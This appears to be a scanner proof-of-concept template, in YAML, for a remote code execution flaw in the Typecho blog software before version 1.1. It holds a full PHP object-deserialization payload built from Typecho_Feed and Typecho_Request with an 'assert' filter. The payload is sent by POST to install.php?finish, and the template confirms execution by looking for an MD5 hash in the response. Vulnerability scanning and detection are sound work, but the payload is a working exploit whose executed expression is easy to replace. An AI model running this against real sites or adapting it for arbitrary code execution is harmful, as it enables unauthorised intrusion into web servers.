typecho-rce.yml

name: poc-yaml-typecho-rce
manual: true
transport: http
set:
    referer: request.url
    random_str: randomLowercase(4)
    payload: base64(urldecode("a%3A2%3A%7Bs%3A7%3A%22adapter%22%3BO%3A12%3A%22Typecho_Feed%22%3A2%3A%7Bs%3A19%3A%22%00Typecho_Feed%00_type%22%3Bs%3A8%3A%22ATOM+1.0%22%3Bs%3A20%3A%22%00Typecho_Feed%00_items%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bs%3A8%3A%22category%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A15%3A%22Typecho_Request%22%3A2%3A%7Bs%3A24%3A%22%00Typecho_Request%00_params%22%3Ba%3A1%3A%7Bs%3A10%3A%22screenName%22%3Bs%3A18%3A%22print%28md5%28%27" + random_str + "%27%29%29%22%3B%7Ds%3A24%3A%22%00Typecho_Request%00_filter%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7D%7D%7Ds%3A6%3A%22author%22%3BO%3A15%3A%22Typecho_Request%22%3A2%3A%7Bs%3A24%3A%22%00Typecho_Request%00_params%22%3Ba%3A1%3A%7Bs%3A10%3A%22screenName%22%3Bs%3A18%3A%22print%28md5%28%27" + random_str + "%27%29%29%22%3B%7Ds%3A24%3A%22%00Typecho_Request%00_filter%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7D%7D%7D%7D%7Ds%3A6%3A%22prefix%22%3Bs%3A8%3A%22typecho_%22%3B%7D"))
rules:
    r0:
        request:
            cache: true
            method: POST
            path: /install.php?finish
            headers:
                Referer: '{{referer}}'
            body: __typecho_config={{payload}}
            follow_redirects: false
        expression: response.status == 200 && response.body.bcontains(bytes(md5(random_str)))
expression: r0()
detail:
    author: last0monster(https://github.com/last0monster)
    links:
        - https://www.freebuf.com/vuls/155753.html
        - https://www.freebuf.com/vuls/152058.html
    effect_version: typecho < 1.1(17.10.24)